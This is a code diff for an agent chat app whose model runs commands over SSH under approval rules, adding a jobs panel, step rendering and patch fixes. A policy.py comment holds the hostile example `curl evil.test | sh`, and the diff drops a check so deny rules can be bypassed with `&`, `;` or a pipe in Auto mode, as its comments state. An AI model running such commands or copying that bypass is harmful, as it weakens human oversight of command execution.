diff --git a/src/lembas/api/agents.py b/src/lembas/api/agents.py index d180c46..6e33902 100644 --- a/src/lembas/api/agents.py +++ b/src/lembas/api/agents.py @@ -25,6 +25,7 @@ from lembas.api.pages import sidebar_context from lembas.db.models import AUTH_METHODS, AUTH_PASSWORD, SshProfile from lembas.services import settings_store from lembas.services.agent import index as index_service +from lembas.services.agent import jobs as jobs_service from lembas.services.agent import ssh as ssh_service from lembas.services.agent import terminal as terminal_service from lembas.services.agent.base import ExecError @@ -244,6 +245,115 @@ async def browse_profile( ) +# --- Background jobs ----------------------------------------------------------- +# A job runs detached on the far side for as long as it takes -- a build, an +# install, a test suite -- and until now the only way to see one was to ask the +# model to call `job_list`. Something that outlives the reply that started it +# needs a surface that outlives the reply too. +# +# Read-only listing and stopping sit **outside `agent/policy.py`**, which makes +# this the fifth exception to "the modes govern the model, not the interface", +# after the terminal panel, the directory browser, the project listing and +# Canvas saving a file. The argument is the one those rest on: whoever owns the +# credential could read the log with `cat` and stop the job with `kill`, and a +# panel that asked permission to show what is already running would be a panel +# nobody could use. `job_stop` as a *model* tool keeps its RISK_EXECUTE and its +# approval card; nothing about what a model may do has changed. +def _job_chat(db: Db, user: RequiredUser, chat_id: str): + """The chat, and the agent context its jobs belong to. + + 404 for a chat that is not this reader's, as everywhere else -- whether an + id exists is not something to hand out. The agent context is what carries + the connection, so a chat whose profile has been deleted or disabled has no + jobs to show rather than an error to render. + """ + from lembas.db.models import Chat + from lembas.services.agent import session as agent_session + + chat = db.get(Chat, chat_id) + if chat is None or chat.user_id != user.id: + raise HTTPException(status.HTTP_404_NOT_FOUND, "That chat no longer exists.") + return chat, agent_session.resolve(db, chat, user) + + +@router.get("/api/chats/{chat_id}/jobs") +async def jobs_chip(request: Request, db: Db, user: RequiredUser, chat_id: str): + """How many jobs are running, as the chip in the composer row. + + Always rendered, even at zero -- the chip is what carries `hx-trigger`, so a + fragment that collapsed to nothing would stop polling and the first job + started afterwards would never appear. The template renders an empty span in + that case, so the row does not reflow as jobs come and go. + """ + chat, agent = _job_chat(db, user, chat_id) + views = jobs_service.listing(db, chat_id) if agent is not None else [] + return render( + request, + "chat/_jobs_chip.html", + {"chat": chat, "jobs": views, "running": sum(1 for view in views if view.running)}, + ) + + +@router.get("/api/chats/{chat_id}/jobs/panel") +async def jobs_panel(request: Request, db: Db, user: RequiredUser, chat_id: str, job: str = ""): + """The list, and one job's output when a row is expanded. + + The log is fetched only for the named job. Reading every job's tail on every + poll would be one SSH connection per job per five seconds, for output nobody + is looking at. + """ + chat, agent = _job_chat(db, user, chat_id) + views = jobs_service.listing(db, chat_id) if agent is not None else [] + + body = "" + error = "" + if job and agent is not None: + if not jobs_service.valid_id(job) or not any(view.id == job for view in views): + # Namespaced by chat on the far side, and checked here as well: the + # path is built from the chat id, but the route takes the job id + # from the URL and must not read one that belongs elsewhere. + raise HTTPException(status.HTTP_404_NOT_FOUND, "No such job.") + try: + reading = await jobs_service.read(agent, job) + body = reading.body + except ExecError as exc: + error = exc.message + + return render( + request, + "chat/_jobs_panel.html", + {"chat": chat, "jobs": views, "open_job": job, "body": body, "error": error}, + ) + + +@router.post("/api/chats/{chat_id}/jobs/{job_id}/stop") +async def stop_job(request: Request, db: Db, user: RequiredUser, chat_id: str, job_id: str): + chat, agent = _job_chat(db, user, chat_id) + views = jobs_service.listing(db, chat_id) if agent is not None else [] + if agent is None or not jobs_service.valid_id(job_id): + raise HTTPException(status.HTTP_404_NOT_FOUND, "No such job.") + if not any(view.id == job_id for view in views): + raise HTTPException(status.HTTP_404_NOT_FOUND, "No such job.") + + error = "" + try: + await jobs_service.stop(agent, job_id) + except ExecError as exc: + error = exc.message + + return render( + request, + "chat/_jobs_panel.html", + { + "chat": chat, + "jobs": jobs_service.listing(db, chat_id), + "open_job": "", + "body": "", + "error": error, + }, + ) + + def _parent_of(path: str) -> str: """The directory above, or "" at the root. diff --git a/src/lembas/api/chats.py b/src/lembas/api/chats.py index 36fe18c..92299e5 100644 --- a/src/lembas/api/chats.py +++ b/src/lembas/api/chats.py @@ -37,6 +37,7 @@ from lembas.services import generation as generation_service from lembas.services import interaction, settings_store, sse from lembas.services import metrics as metrics_service from lembas.services import prompts as prompts_service +from lembas.services import steps as steps_service from lembas.services import tools as tools_service from lembas.services.agent import policy as agent_policy from lembas.services.agent import terminal as terminal_service @@ -51,6 +52,13 @@ router = APIRouter(prefix="/api/chats", tags=["chats"]) # Well under nginx's 60s default; see services/sse.py:KEEPALIVE. KEEPALIVE_AFTER = 15.0 +# How often the metrics chips are re-sent when nothing else has changed. The +# reply's version does not move while a tool runs on the far machine, but its +# clock does, so without this the counts and tokens/second stand still for most +# of a long agent reply's wall time. A second is slow enough to be free and fast +# enough that the numbers read as live. +METRICS_INTERVAL = 1.0 + # How many prompts may wait behind a reply at once. The terminal panel's Auto # send is what this exists for: a `for` loop in a shell can produce commands # faster than any model answers them, and a bound with a sentence attached is @@ -833,10 +841,30 @@ async def stream_message( ) -def _tool_activity(events: list[dict], *, live: bool = True) -> str: - """Render the tool block. Whole, never a delta, like every other frame.""" - return templates.get_template("chat/_tool_activity.html").render( - {"tool_events": events, "live": live} +def _step_html(message_id: str, step) -> str: + """One closed step of a running reply. + + `SimpleNamespace` for the message, as `_canvas_tabs` already does for the + chat: the partial wants an id to build its element ids from and nothing + else, and there is no `Message` in scope here -- the row is not written + until the reply ends. `reasoning_ms` is only known then too, so a live step + says "Thought" and the stored one says how long for. + """ + return templates.get_template("chat/_step.html").render( + {"step": step, "message": SimpleNamespace(id=message_id, reasoning_ms=0)} + ) + + +def _steps_tail_html(message_id: str) -> str: + """The two containers the live thinking and prose are swapped into. + + Sent as part of the `steps` frame rather than as a frame of its own, which + is how the tail clears when a round closes: what was being written is now a + step above, and re-emitting these empty is what stops it also showing below. + It means `reasoning` and `render` can keep their never-blank guard. + """ + return templates.get_template("chat/_steps_tail.html").render( + {"message": SimpleNamespace(id=message_id, reasoning_ms=0)} ) @@ -846,7 +874,7 @@ def _ask_html(chat_id: str, pending) -> str: Returns "" when there is nothing pending, and the frame is sent unconditionally, because this is one of the few blocks that has to be able to *clear* itself: the card must vanish the moment it is answered. - `reasoning`, `tools` and `render` are the opposite -- guarded by truthiness + `reasoning`, `render` and `steps` are the opposite -- guarded by truthiness so a frame can never blank them. """ if pending is None: @@ -882,25 +910,52 @@ async def _follow(chat_id: str, message_id: str) -> AsyncIterator[str]: another chat -- leaves the reply being written, and reconnecting replays the whole state immediately rather than starting over. - Both `render` and `reasoning` carry the complete block each time rather - than a delta, which is what makes reattaching mid-reply work at all: a - follower arriving late has no earlier fragments to append to. + Every frame carries the complete block each time rather than a delta, which + is what makes reattaching mid-reply work at all: a follower arriving late has + no earlier fragments to append to. + + The split is along **closed versus open**, not along kind. `steps` carries + every step that has finished and moves only when a round ends; `reasoning` + and `render` carry the step still being written and move at streaming speed. + That is what makes this affordable: the old `tools` frame re-rendered every + tool call in the reply twelve times a second, against an output budget of a + megabyte, so a long agent reply spent most of its wall time re-rendering its + own transcript. `rendered` below is a render cache and not a wire protocol -- + it starts empty for every follower, so one attaching mid-reply still receives + the whole prefix in its first frame. + + The order within one pass is load-bearing: `steps` before `reasoning` and + `render`, because `steps` carries the containers those two are swapped into. + htmx re-registers `sse-swap` on content it swaps in, which is the same + property the approval card's buttons already rely on. """ generation = generation_service.ensure(chat_id, message_id) generation.followers += 1 seen = -1 last_frame = time.monotonic() + last_metrics = 0.0 + # The HTML of every step already rendered, and how many *marks* that covers. + # Two counters and not one: a mark can produce up to three steps -- thinking, + # prose, tools -- so the length of the list is not an index into the marks. + rendered: list[str] = [] + marks_done = 0 try: while True: if generation.version != seen: seen = generation.version - if generation.thinking: - yield sse.event("reasoning", escape_text(generation.thinking)) - if generation.tool_events: - yield sse.event("tools", _tool_activity(generation.tool_events)) - if generation.content: - yield sse.event("render", render_markdown(generation.text)) + if len(generation.steps) > marks_done: + for step in steps_service.closed_from(generation, since=marks_done): + rendered.append(_step_html(message_id, step)) + marks_done = len(generation.steps) + yield sse.event( + "steps", "".join(rendered) + _steps_tail_html(message_id) + ) + thinking_tail, text_tail = steps_service.tail(generation) + if thinking_tail: + yield sse.event("reasoning", escape_text(thinking_tail)) + if text_tail: + yield sse.event("render", render_markdown(text_tail)) if generation.canvas.get("tabs"): # Guarded on truthiness, which puts this in the # reasoning/tools/render group and not the @@ -917,7 +972,18 @@ async def _follow(chat_id: str, message_id: str) -> AsyncIterator[str]: yield sse.event("metrics", _metrics_html(generation)) yield sse.event("status", escape_text(generation.status)) yield sse.event("ask", _ask_html(chat_id, generation.pending)) - last_frame = time.monotonic() + last_frame = last_metrics = time.monotonic() + + # On a clock as well as on a change, because the version does not + # move while a tool runs -- there is no `touch()` inside + # `_run_calls` -- and a five-minute build on the far side is exactly + # when somebody looks at these numbers to see whether anything is + # happening. The elapsed clock is advancing throughout, so tok/s has + # to be allowed to fall; frozen chips beside a spinner read as a + # hang. One small swap a second, and only while the reply is live. + elif time.monotonic() - last_metrics > METRICS_INTERVAL: + yield sse.event("metrics", _metrics_html(generation)) + last_frame = last_metrics = time.monotonic() if generation.done: break @@ -949,7 +1015,6 @@ async def _follow(chat_id: str, message_id: str) -> AsyncIterator[str]: final_html = templates.get_template("chat/_message.html").render( { "message": message, - "body_html": render_markdown(message.content), "chat": chat, # Passed even though an assistant bubble never reads it: the # template shares both roles, and a missing `user` would only @@ -985,9 +1050,6 @@ def _render_bubble(db: DBSession, chat: Chat, owner: User | None, message: Messa return templates.get_template("chat/_message.html").render( { "message": message, - "body_html": ( - render_markdown(message.content) if message.role == ROLE_ASSISTANT else "" - ), "chat": chat, "user": owner, "models_by_id": {m.model_id: m for m in chat_service.available_models(db, None)}, @@ -1138,7 +1200,6 @@ async def cancel_edit( "chat": chat, "user": user, "message": message, - "body_html": "", "models_by_id": {}, }, ) @@ -1383,8 +1444,9 @@ async def answer_interaction( # about to run rather than the one the model asked for. Remembering the # proposed one would grant a standing permission nobody approved. remembered = 0 + unmatchable = 0 if verdict == interaction.ALLOW_ALWAYS: - remembered = _remember_always( + remembered, unmatchable = _remember_always( db, chat, generation_service.pending_items(chat.id, interaction_id), @@ -1415,13 +1477,33 @@ async def answer_interaction( } } ) + elif unmatchable: + # Otherwise this is a button that silently did nothing, which is the + # failure the rest of this feature was arranged to avoid. It is allowed + # to store nothing -- a composed command line must never become a + # standing permission -- but it is not allowed to say nothing. + response.headers["HX-Trigger"] = json.dumps( + { + "lembas:notify": { + "message": ( + "Allowed once. A command line that runs more than one thing " + "cannot be stored as a rule, so this chat will ask again." + ) + } + } + ) return response def _remember_always( db: DBSession, chat: Chat, items, *, answers: dict[str, str] | None = None -) -> int: - """Record what "always allow" was said about. Returns how many were new. +) -> tuple[int, int]: + """Record what "always allow" was said about. + + Returns (how many were new, how many could not be stored at all). The second + is what the caller turns into a toast: `subject` yields nothing for a + composed command line, so pressing the button on one is right to store + nothing and wrong to say nothing. The pattern is derived **here**, and still never taken from the request as a pattern: `answers` carries the command a person may have corrected on the @@ -1444,6 +1526,7 @@ def _remember_always( entries = list(scope.get("allow") or []) written = answers or {} added = 0 + unmatchable = 0 for item in items: if item.kind != interaction.KIND_APPROVAL or len(entries) >= MAX_SCOPE_KEYS: @@ -1452,7 +1535,10 @@ def _remember_always( if item.editable: detail = (written.get(item.key) or "").strip() or item.detail pattern = agent_policy.subject(item.tool_name, detail) - if not pattern or pattern in entries: + if not pattern: + unmatchable += 1 + continue + if pattern in entries: continue entries.append(pattern) added += 1 @@ -1463,7 +1549,7 @@ def _remember_always( chat.scope_json = {**scope, "allow": entries} db.commit() log.info("chat %s will stop asking about %d action(s)", chat.id, added) - return added + return added, unmatchable @router.post("/{chat_id}/allow/clear") @@ -1713,7 +1799,6 @@ async def regenerate( "request": request, "message": message, "chat": chat, - "body_html": "", "user": user, "models_by_id": { m.model_id: m for m in chat_service.available_models(db, user) diff --git a/src/lembas/api/pages.py b/src/lembas/api/pages.py index 07efa86..ad99bb9 100644 --- a/src/lembas/api/pages.py +++ b/src/lembas/api/pages.py @@ -17,7 +17,6 @@ from lembas.services import compaction as compaction_service from lembas.services import settings_store from lembas.services import suggestions as suggestions_service from lembas.services.library import documents as documents_service -from lembas.services.markdown import render_markdown from lembas.web.templating import STATIC_DIR, render router = APIRouter(tags=["pages"]) @@ -183,6 +182,12 @@ def _agent_context(db: DBSession, user: User, chat: Chat | None) -> dict: for m in agent_policy.MODES ], "terminal_enabled": _terminal_enabled(db, user, chat, current), + # Whether this chat could have background jobs at all. Not whether it + # has any -- that is what the chip's own request answers, five seconds + # later, off the request path. A chip that can never show anything is a + # chip that only takes room in a row this codebase has already had to + # fight to keep on one line. + "jobs_enabled": _jobs_enabled(db, user, chat, current), # Any chat that exists. Deliberately not gated the way the terminal is: # half the canvas's sources -- notes, skills, this chat's attachments, # its own scratch document -- need no machine at all, so the terminal's @@ -196,6 +201,28 @@ def _agent_context(db: DBSession, user: User, chat: Chat | None) -> dict: } +def _jobs_enabled(db: DBSession, user: User, chat: Chat | None, profile) -> bool: + """Whether background jobs are possible in this chat. + + The same shape as `_terminal_enabled` and for the same reason, but keyed on + `background_enabled` rather than on `terminal_enabled` and on `tools.agent` + rather than `agent.terminal` -- somebody who may have a model run commands + here may see which of them are still running. It is not a second permission, + because there is no action here the agent tools do not already grant. + """ + from lembas.db.models import KIND_AGENT + from lembas.services.agent import ssh as ssh_service + + if chat is None or chat.kind != KIND_AGENT or profile is None: + return False + if not permissions.has(db, user, "tools.agent"): + return False + values = settings_store.agents(db) + if not values.get("enabled") or not values.get("background_enabled"): + return False + return ssh_service.available() == "" + + def _terminal_enabled(db: DBSession, user: User, chat: Chat | None, profile) -> bool: """Whether this chat can offer a shell of its own. @@ -490,14 +517,13 @@ async def chat_detail(request: Request, db: Db, user: RequiredUser, chat_id: str # have only stopped being part of the request. compacted, messages = compaction_service.split(db, chat, everything) - # Markdown is rendered once here rather than in the template so the same - # helper produces the page and the streamed final frame -- one code path, - # no chance of the two disagreeing. - bodies = { - message.id: render_markdown(message.content) - for message in everything - if message.role == "assistant" and message.content - } + # Empty, and kept only so `_thread.html` and the four handlers that render a + # bubble keep one signature between them. An assistant turn is rendered from + # its steps now (`message_steps`, a Jinja global), which is what lets a + # reply's prose sit either side of the tool call it surrounded rather than + # arriving as one block at the bottom. Nothing reads this for an assistant + # message any more; `library/note_detail.html` has its own. + bodies: dict[str, str] = {} # What the chat would use if its own prompt were empty, so the settings # panel can show it as placeholder text rather than leaving the user to diff --git a/src/lembas/db/models/chat.py b/src/lembas/db/models/chat.py index 4eaabaf..9fbe4e3 100644 --- a/src/lembas/db/models/chat.py +++ b/src/lembas/db/models/chat.py @@ -293,6 +293,21 @@ class Message(UUIDPrimaryKey, Timestamps, Base): # answer stay visible, and deliberately NOT replayed as context on the next # turn -- see services/generation.py for why. tool_calls_json: Mapped[list[Any]] = mapped_column(JSONList, default=list) + + # Where each round's contribution ended, so `content`, `reasoning` and + # `tool_calls_json` can be shown as the one sequence they actually were + # rather than as three stacked zones. One entry per closed step, holding the + # cumulative length of each of the three at that moment. See + # services/steps.py; read it through the `steps` property below. + # + # Nullable, and that is load-bearing rather than lazy. `migrations.py` + # derives a backfill for a NOT NULL column from `column.type.python_type`, + # and `JSONList` is `MutableList.as_mutable(JSON)` whose `python_type` is + # `dict` -- so a NOT NULL list column would be backfilled `'{}'` on every + # existing row and fail on the first read. Nullable means no default, which + # is what an older row should have anyway: no marks, and the old layout. + steps_json: Mapped[list[Any] | None] = mapped_column(JSONList, nullable=True, default=list) + usage_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict) # A plan produced in Plan mode, or the state of one being carried out. See diff --git a/src/lembas/services/agent/jobs.py b/src/lembas/services/agent/jobs.py index 9618317..bc81b06 100644 --- a/src/lembas/services/agent/jobs.py +++ b/src/lembas/services/agent/jobs.py @@ -42,6 +42,9 @@ import re import time import uuid from dataclasses import dataclass, field +from typing import Any + +from sqlalchemy import select from lembas.services.agent.base import ExecError, ExecRequest, clean_output @@ -350,6 +353,86 @@ def valid_id(job_id: str) -> bool: return bool(_ID.match(job_id or "")) +@dataclass(frozen=True) +class JobView: + """One job as a person sees it, rather than as the watcher tracks it. + + Two sources, because neither is complete on its own. The `agent_jobs` row is + what survives a restart and carries wall-clock times; `JobState` is what this + process knows now, and it exists for a job whose row could not be written -- + `_persist_row` is best-effort by design, so a job with no row is still a job + that is running. + + Times are wall clock, from the row. `JobState.started_at` is + `time.monotonic()`, which is right for measuring an interval inside one + process and meaningless across a restart: `rehydrate` builds a fresh + `JobState` whose clock starts at nought, so a job that had been running for + three hours would report having started a moment ago. + """ + + id: str + command: str + status: str + exit_status: int | None = None + started_at: Any = None + finished_at: Any = None + + @property + def running(self) -> bool: + return self.status == "running" + + +def listing(db, chat_id: str) -> list[JobView]: + """Every job this chat has, newest first. + + Live state wins over the stored row where they disagree. They should not -- + `_record` writes the row as it updates the state -- but the row write is the + half allowed to fail, so preferring the fresher of the two is what keeps a + finished job from being shown as running for ever. + """ + from lembas.db.models import Job + + live = {job.id: job for job in for_chat(chat_id)} + views: list[JobView] = [] + seen: set[str] = set() + + rows = db.scalars( + select(Job).where(Job.chat_id == chat_id).order_by(Job.created_at.desc()) + ) + for row in rows: + state = live.get(row.id) + seen.add(row.id) + views.append( + JobView( + id=row.id, + command=row.command or "", + status=state.status if state is not None else row.status, + exit_status=state.exit_status if state is not None else row.exit_status, + started_at=row.created_at, + finished_at=row.finished_at, + ) + ) + + # A job whose row never got written. It has no start time to show, which is + # honest: nothing recorded one. + for job in live.values(): + if job.id not in seen: + views.insert( + 0, + JobView( + id=job.id, + command=job.command, + status=job.status, + exit_status=job.exit_status, + ), + ) + return views + + +def running_count(db, chat_id: str) -> int: + return sum(1 for view in listing(db, chat_id) if view.running) + + def _record(job_id: str, status: str, exit_status: int | None) -> None: job = _JOBS.get(job_id) if job is None or job.status != "running": diff --git a/src/lembas/services/agent/patch.py b/src/lembas/services/agent/patch.py index 020a1c2..9e5ec27 100644 --- a/src/lembas/services/agent/patch.py +++ b/src/lembas/services/agent/patch.py @@ -243,18 +243,45 @@ def _mismatch(number: int, hunk: Hunk, lines: list[str], hint: int, why: str) -> ) expected = next((line[1:] for line in hunk.lines if line[:1] in (" ", "-")), "") - found = lines[hint] if 0 <= hint < len(lines) else "(past the end of the file)" return PatchError( f"Hunk {number} did not apply. It expects line {hint + 1} to be\n" f" {expected}\n" f"but the file has\n" - f" {found}\n" + f"{_around(lines, hint)}\n" f"and those lines are nowhere else nearby either. Nothing was written. " - f"Read the file again and send a patch that matches it.", + f"Send a patch whose context matches what is printed above.", hunk=number, ) +# How many lines either side of the hinted position to print back. Three, which +# is what a patch carries as context, so a model can read its next attempt +# straight off the message. +MISMATCH_WINDOW = 3 + + +def _around(lines: list[str], hint: int) -> str: + """The file as it actually is, around where the hunk expected to land. + + One line was not enough. A model whose line numbers are two out reads "the + file has X", cannot see where X sits relative to what it wanted, and sends + the identical patch again -- which is most of the retry loop this tool + produces in practice. Numbered, because the numbers are what was wrong. + """ + if not lines: + return " (the file is empty)" + if hint >= len(lines): + start = max(0, len(lines) - MISMATCH_WINDOW) + shown = [f" {n + 1:>5} {lines[n]}" for n in range(start, len(lines))] + return "\n".join([*shown, f" (the file ends at line {len(lines)})"]) + + start = max(0, hint - MISMATCH_WINDOW) + end = min(len(lines), hint + MISMATCH_WINDOW + 1) + return "\n".join( + f"{'->' if n == hint else ' '} {n + 1:>5} {lines[n]}" for n in range(start, end) + ) + + def render(before: str, after: str, path: str, *, max_lines: int = 200) -> str: """A unified diff of one change, for the transcript. diff --git a/src/lembas/services/agent/policy.py b/src/lembas/services/agent/policy.py index abe552d..db64d4e 100644 --- a/src/lembas/services/agent/policy.py +++ b/src/lembas/services/agent/policy.py @@ -88,13 +88,27 @@ POLICY: dict[str, dict[str, str]] = { # A shell metacharacter makes a command line unmatchable, so no pattern may be # applied to it. Without this, `git *` in an allow list also matches -# `git status; curl evil.test | sh`, which is the whole ballgame. +# `git status; curl evil.test | sh`, which is the whole ballgame. That half is +# absolute and is what this constant exists for. # -# The original reasoning stopped there, arguing a deny list needed no such care -# because "failing open returns you to the mode". That is true of Manual, Edit -# and Plan, where the mode is ASK -- and false of Auto, where it is ALLOW. So -# `shutdown -h now` asked and `shutdown -h now &` ran, and one character was the -# whole of the difference. See `decide`. +# The deny list is the other half, and it has been decided both ways. There was +# once a rule that an unmatchable line ASKed whenever a deny list existed at +# all, on the grounds that `shutdown -h now` asked while `shutdown -h now &` +# ran. It is gone: the shipped deny list is non-empty, so that rule made *every* +# compound command ask in Auto -- `cd build && make`, `pytest | tail`, anything +# with a pipe -- and a mode whose whole purpose is not asking asked about most +# real commands. It was not a security control anybody experienced as one; it +# was Auto appearing not to work. +# +# So an unmatchable line now falls through to the mode, and in Auto the mode is +# ALLOW. What that gives up, plainly: a deny pattern can be walked past with a +# trailing `&`, a `;` or a pipe. Auto is the only mode where this is reachable, +# because Manual, Edit and Plan all ASK on RISK_EXECUTE regardless. The allow +# list is untouched by the change and still cannot be matched at all. +# +# The upgrade that would restore both properties is to split a composed line on +# these metacharacters and check every segment against the deny list only. It is +# confined to `decide` and is worth doing; it is not done here. _UNSAFE = re.compile(r"[;&|<>`$\n\\()]") @@ -175,13 +189,15 @@ def decide( 1. A deny wins before everything, **including Auto**. A deny list that Auto ignores is not a deny list, it is a suggestion. - 2. A command line nobody can match is not a command line the deny list can - clear. See below. - 3. `ask` never resolves to allow. `ask_user` asks in every mode; that is + 2. `ask` never resolves to allow. `ask_user` asks in every mode; that is what the tool is for, and a mode that skipped it would answer the model's question on the reader's behalf. - 4. An allow-list hit runs it. - 5. Otherwise the table. + 3. An allow-list hit runs it. + 4. Otherwise the table. + + A command line carrying a shell metacharacter matches neither list, so it + reaches the table and Auto runs it. See the note above `_UNSAFE` for what + that trades away and why. An unrecognised mode is treated as Manual, not Auto: a row that predates a rename has to fail towards asking. @@ -192,21 +208,6 @@ def decide( if hit: return Decision(ASK, f"“{hit}” is on the list of commands to always ask about.") - # Unmatchable *and* somebody has said what to always ask about. Falling - # through here is what let `shutdown -h now &` run in Auto while - # `shutdown -h now` asked: `subject` returns None for anything containing a - # metacharacter, `_matches` returns "" for None, and Auto's row is ALLOW. - # - # Only when there is a deny list at all. Making every compound command ask - # regardless would take `cd build && make` -- which is most real commands -- - # away from the mode whose whole purpose is not asking. - if candidate is None and deny: - return Decision( - ASK, - "This command line runs more than one thing, so it cannot be " - "checked against the list of commands to always ask about.", - ) - if risk == RISK_ASK: return Decision(ASK, "") diff --git a/src/lembas/services/agent/tools.py b/src/lembas/services/agent/tools.py index d51cc62..088203b 100644 --- a/src/lembas/services/agent/tools.py +++ b/src/lembas/services/agent/tools.py @@ -511,7 +511,36 @@ async def _run_edit(context: ToolContext, args: dict[str, Any]) -> ToolOutcome: _event("file_edit", agent, path, status="error", error="No patch."), ) - before, diffable = await _current(agent, path) + # Read here rather than through `_current`, which answers a different + # question. `_current` exists for `file_write`, where a file that cannot be + # read is a file about to be created and "" is the honest answer. Applying a + # patch to that "" instead reported a context mismatch against + # "(past the end of the file)" -- a model told the file is empty when it is + # in fact unreadable retries the same patch, then rewrites the file whole, + # which is how an unreadable file becomes a lost one. + try: + before = await agent.executor().read_file(path, max_bytes=agent.max_output) + except ExecError as exc: + return ToolOutcome( + f"{exc.message} Nothing was written.", + _event("file_edit", agent, path, status="error", error=exc.message), + ) + + # And a file too big to read whole may not be patched at all. `read_file` + # truncates at the ceiling, so `after` would be the beginning of the file + # with the patch applied -- and `write_file` replaces, so writing it back is + # how the rest of the file is deleted. Silently, and reported as a success + # with a byte count. This is the same rule Canvas follows for the same + # reason: a truncated read opens read-only. + if len(before) >= agent.max_output: + return ToolOutcome( + f"{path} is too large to patch: only the first {agent.max_output} bytes " + f"can be read, and writing back what was read would delete the rest. " + f"Nothing was written. Change it with a command instead — sed, or a " + f"short script.", + _event("file_edit", agent, path, status="error", error="Too large to patch."), + ) + try: after = patch.apply(before, patch.parse(raw)) except patch.PatchError as exc: @@ -551,8 +580,10 @@ async def _run_edit(context: ToolContext, args: dict[str, Any]) -> ToolOutcome: text=f"{written} bytes", canvas=_canvas(agent, path), ) - if diffable: - event["diff"] = patch.render(before, after, path, max_lines=MAX_DIFF_LINES) + # Always diffable here: an unreadable original and a truncated one have both + # already been refused above, which is the whole difference between this and + # `file_write`'s use of `_current`. + event["diff"] = patch.render(before, after, path, max_lines=MAX_DIFF_LINES) return ToolOutcome(f"Updated {path} ({written} bytes).", event) diff --git a/src/lembas/services/generation.py b/src/lembas/services/generation.py index 876b73f..a34e282 100644 --- a/src/lembas/services/generation.py +++ b/src/lembas/services/generation.py @@ -72,6 +72,14 @@ MAX_TOOL_ROUNDS = 200 # say so and be believed rather than argued with indefinitely. MAX_NUDGES = 2 +# How much prose an agent reply that called nothing has to have written before +# it counts as having stalled rather than as having answered. A model that talks +# itself out of every tool call produces pages of it -- announcing the call, +# reconsidering, announcing it again -- while somebody asking a question in an +# agent chat and getting a couple of lines back has simply been answered. The +# number only has to sit between those two, and there is nothing to tune here. +NUDGE_MIN_CHARS = 1500 + # How much of the window a request may occupy before the next round is refused. # A tool round appends an assistant turn and a tool turn per call, so a reply # that keeps calling tools grows its own request until the endpoint refuses it -- @@ -100,6 +108,11 @@ class Generation: # live as the model works and kept on the message afterwards. tool_events: list[dict] = field(default_factory=list) + # Where each round's contribution ended, so the three stores above can be + # rendered as the one sequence they were. Written by `close_step`, and + # marks rather than copies -- see services/steps.py. + steps: list[dict] = field(default_factory=list) + # --- What it cost -------------------------------------------------------- # Prompt and completion are summed across tool rounds: what the reply cost. # context_tokens is overwritten each round with that round's prompt plus @@ -121,6 +134,18 @@ class Generation: # `context_tokens`, so the fallback mirrors it rather than inventing a # second convention. prompt_estimate_total: int = 0 + # Whether any round's usage block ever arrived. The one fact that decides + # whether these numbers are counted or worked out, recorded where it is + # known instead of inferred downstream from "are both counts non-zero?" -- + # which the end-of-reply fallback makes true of a reply nobody counted, so + # the `~` vanished at exactly the moment everything became an estimate. + reported_usage: bool = False + # How many characters of text and reasoning had been written when that usage + # block arrived. What is written past it is this round's, uncounted until the + # round ends -- so it is the gap the metrics interpolate across, and it is + # what keeps the counts moving between one usage chunk and the next instead + # of standing still for a whole round. + counted_chars: int = 0 rounds: int = 0 # time.monotonic() at the start. A field rather than a local in `_run` # because `_follow` is a different function that sees only this object, and @@ -190,6 +215,28 @@ class Generation: def touch(self) -> None: self.version += 1 + def close_step(self) -> None: + """End the step being written. Everything appended from here is the next. + + Called where a round's contribution ends and nowhere else, so the list + stays append-only and an index into it means the same step for ever -- + which is what the transcript's DOM ids are built from, and therefore + what lets a block somebody opened survive both a stream frame and the + `done` frame that replaces the whole bubble. + + There is deliberately no closing mark at the end of a reply. The + trailing step is implicit in both the live path and the stored one, and + one rule is one thing to get right. + """ + self.steps.append( + { + "round": self.rounds, + "thinking_to": len(self.thinking), + "text_to": len(self.text), + "tools_to": len(self.tool_events), + } + ) + @property def text(self) -> str: return "".join(self.content) @@ -511,6 +558,7 @@ async def _run(generation: Generation) -> None: async for chunk in stream_chat(endpoint, payload): counts = chunk_usage(chunk) if counts is not None: + generation.reported_usage = True generation.prompt_tokens += counts.get("prompt_tokens", 0) generation.completion_tokens += counts.get("completion_tokens", 0) # Overwritten, not summed: this round's prompt already @@ -568,6 +616,15 @@ async def _run(generation: Generation) -> None: generation.content.append(piece) round_text.append(piece) + # Here, and not where the usage chunk was read. The usage block + # arrives while the splitter is still holding this round's last few + # characters back, so stamping it there left those characters looking + # uncounted and the stored figure came out a token or two above what + # the endpoint actually said. A round's usage covers a round's + # output, so the mark belongs at the round's end. + # See metrics._since_counted. + _mark_counted(generation) + calls = accumulator.calls if generation.stopped or not calls: # The model says it is done. Believe it -- unless this is an @@ -704,6 +761,10 @@ async def _run(generation: Generation) -> None: # ticked off. if outcome.event.get("plan_final"): generation.plan_final = True + # This round is over: its thinking, its prose and its tool calls are + # all in. Anything appended from here belongs to the next step, and + # that is what makes the bubble a sequence rather than three zones. + generation.close_step() generation.touch() # Something typed while this reply was working. Taken in here, at a @@ -735,6 +796,7 @@ async def _run(generation: Generation) -> None: for kind, piece in splitter.flush(): (generation.reasoning if kind == REASONING else generation.content).append(piece) + _mark_counted(generation) generation.touch() except LLMError as exc: @@ -752,21 +814,19 @@ async def _run(generation: Generation) -> None: generation.reasoning_ms = int((time.monotonic() - reasoning_started) * 1000) generation.elapsed_ms = int((time.monotonic() - started) * 1000) - if not generation.completion_tokens: - # The endpoint reported nothing, so fall back to the estimate. Marked - # as such everywhere it is shown -- four characters to a token is - # wrong enough on code and CJK to be worth saying out loud. - generation.completion_tokens = tokens.estimate( - generation.text + generation.thinking - ) - # Mirroring the reported figures exactly: the prompt is summed - # across rounds because it was paid for each time, while what the - # reply *occupies* is the last round's prompt plus what was written. - # Both used to come from one estimate taken before the first round. - generation.prompt_tokens = ( - generation.prompt_estimate_total or generation.prompt_estimate - ) - generation.context_tokens = generation.prompt_estimate + generation.completion_tokens + # There used to be a fallback here filling `completion_tokens`, + # `prompt_tokens` and `context_tokens` from the estimates when the + # endpoint had reported nothing. It is gone, and nothing is lost: + # `metrics.from_generation` now takes `max(reported, estimated)` for + # every one of the three, so the same figures come out and the row is + # written through the same code the live chips are rendered from. + # + # Two copies of one rule was the actual fault, not an accident of + # placement. They disagreed -- the fallback used `prompt_estimate_total` + # where the live path used `prompt_estimate` -- so the numbers jumped at + # the `done` frame; and writing into these fields made "did the endpoint + # count this?" unanswerable afterwards, which is what `reported_usage` + # now records instead. # Naming the chat is a 